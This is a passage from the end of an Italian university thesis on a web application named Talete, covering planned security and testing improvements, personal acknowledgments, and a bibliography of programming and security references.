informazioni stesse. E’ quindi sempre necessario relazionare lo sforzo economico previsto con
il potenziale danno giungendo al giusto compromesso.
Per quanto riguarda Talete, i passi successivi da compiere a breve termine nell’ambito della
sicurezza sono diversi:
• innanzitutto c’è bisogno di proteggere la macchina windows su cui gira il server virtuale,
per evitare intrusioni da parte di utenti non autorizzati.
• C’è bisogno di ottimizzare il codice, che in alcuni punti risulta poco leggibile e
“dispendioso” dal punto di vista del tempo di visualizzazione delle pagine, e delle risorse
(come il db).
162

• Aggiungere la tecnologia SSL e acquistare un certificato per proteggere le credenziali
inserite dagli utenti al momento del login.
• Perfezionare la pagina delle Autorizzazioni distinguendo i permessi da assegnare agli utenti
per le varie aree e applicazioni in due categorie: sola lettura (R) o lettura e scrittura (RW).
• Infine si potrebbero testare parti di codice con la tecnica del white box testing, basato sulla
nozione di copertura, cioè sull’esecuzione di elementi del grafo di controllo di un
programma. Il white-box testing e il black-box testing da noi usato sono complementari in
quanto quest’ultimo permette di testare le funzionalità del software ignorando il flusso di
manipolazione delle strutture dati e delle variabili utilizzate, mentre il white-box testing
permette di analizzare le strutture dati interne e la copertura del codice testato. Il codice è
rappresentato, infatti, tramite un grafo, il grafo del flusso di controllo (Control flow Graph ),
i cui nodi rappresentano statement (istruzioni e/o predicati) del programma e gli archi il
passaggio del flusso di controllo. Il grafo è esaminato per identificare ramificazioni del
flusso di controllo e verificare l’esistenza di eventuali anomalie quali codice irraggiungibile
e non strutturazione.
In letteratura esistono numerosi criteri di copertura del codice per i test strutturali, come
quello dei comandi, delle decisioni, delle condizioni e dei cammini.
163

Ringraziamenti
I miei ringraziamenti sono rivolti a tutti coloro che mi hanno aiutato durante la carriera
universitaria giunta ormai al termine.
Desidero iniziare i miei ringraziamenti con il professor Aldo Franco Dragoni, che mi ha dato la
preziosa opportunità di svolgere questo lavoro di tesi in un ambiente motivante com’è quello
dell’Equipe.
Un grazie di cuore va a tutti i ragazzi dell’Equipe e all’ing. Gregorio Paccone, per avermi
“ospitato” nella sua azienda e per aver instaurato con me un rapporto collaborativo che
sicuramente mi aiuterà a crescere nel mondo del lavoro.
Un sentito ringraziamento va all’ing. Mauro Mazzieri che ha seguito l’evolversi di questo
lavoro e che è stato una presenza costante e preziosa sia dal punto di vista professionale che dal
punto di vista umano; grazie per l’infinita pazienza, è bello lavorare con persone così.
Francesca, non so come hai fatto a sopportarmi senza picchiarmi. Grazie per l’amorevole
sostegno con cui mi hai accompagnato in questo periodo così impegnativo; avere accanto una
persona come te rende tutto più bello e più facile. La tua dolcezza durante questi anni
universitari è stata un aiuto costante a cui è ormai impossibile rinunciare, anzi. Ti ringrazio
anche perché, a volte, mi ricordi che lo studio è solo una parte della mia vita, fatta di tante altre
cose speciali, come te.
Grazie ai miei genitori, per aver apprezzato sempre il mio operato durante tutta la mia
esperienza accademica, senza mai rimproverarmi o scoraggiarmi anche in momenti più bui, ma
sostenendomi sempre con l’affetto e la passione che solo una mamma e un papà cosi sanno
dare. Vi voglio bene, non avrei potuto desiderare genitori migliori.
Una persona a cui son tanto legato è la mia sorellina Grazia, a cui auguro di raggiungere
traguardi importanti che gli diano slancio per una carriera fantastica; sorellina, i sacrifici alla
fine danno sempre i loro frutti.
Un enorme grazie va a tutti i miei coinquilini con cui ho vissuto nel corso del periodo
universitario, da quelli della ex A13 a Marco e Domenico, a Peppe e l’ascolano, e infine
Pierpaolo e Daniele.

Durante questi anni universitari sono tante le persone che ho incontrato e conosciuto; alcune
sono per me un punto di riferimento, ottimi consiglieri, altre fondamentali nel gioco, nelle
serate di divertimento. Tra tutti voglio citare Pepe, “quelli di via Camerano” Nazario, Pitch,
Mitch, Raffaele e Save, che un giorno impareranno anche a giocare a PES cosi come Mangini e
quelli della A13....
Un grazie agli “amici di giù” Marco, Giovanni, Matteo, Michele (u pallon) e Andrea che,
quando torno a casa, mi ricordano che anche a San Nicandro ho degli amici su cui posso
sempre contare.
Infine un “saluto” va a mio nonno: anche se il tempo passa, tu resterai sempre nel mio cuore, e
alla mia nonnina Grazia che sicuramente sarà tanto felice di vedere il suo nipote preferito
(scusa sorellina) con la laurea in mano.

BIBLIOGRAFIA
G. Naccarato, M. Valeri, “C# guida alla programmazione”, Edizioni Master, 2004
Atzeni, Ceri, Paraboschi, Torlone, “Basi di dati”, McGrawHill, 1999
Spalazzi L, Slide corso “Ingegneria del software” Unified Modeling Language, Ancona
2004/05.
M. MacDonald, “Beginning ASP.NET 2.0 in C# 2005: From Novice to Professional”, Apress,
2006
G. Andrew Duthie, “Microsoft ASP.NET Programming with Microsoft Visual C# .NET
Version 2003 Step by Step”, Microsoft Press, 2003
M. Howard, D. LeBlanc, “Writing secure code (Second Edition)”, Microsoft Press, 2003
E. Gamma, R. Helm, R. Johnson, J. Vlissides, “Design Patterns: Elements of Reusable
Object-Oriented Software”, Addison-Wesley Publishing Company, 1998

M. Fowler, D. Rice, M. Foemmel, E. Hieatt, R. Mee, R. Stafford, “Patterns of Enterprise
Application Architecture ”, Addison Wesley, 2002
C. Skibo M. Young, B Johnson, “Working with Microsoft Visual Studio 2005”, Microsoft
Press 2006
SITI WEB
http://msdn2.microsoft.com/en-us/security/aa570413.aspx
http://naufraghi.free.fr/php/top10security.php
http://sicurezza.html.it
http://www.acunetix.com/vulnerability-scanner/
http://www.asp.net/
http://www.cert.org

http://ajax.asp.net/
http://www.mysql.com
http://www.owasp.org
http://www.deit.univpm.it/~dragoni/presentazioni/Talk_SD_HTML/index.html
DOCUMENTAZIONE ELETTRONICA
- Microsoft .NET Framework 2.0 SDK Documentation
- Microsoft Visual Studio 2005 Documentation
- Telerik RadControls for Asp.NET 2.x Documentation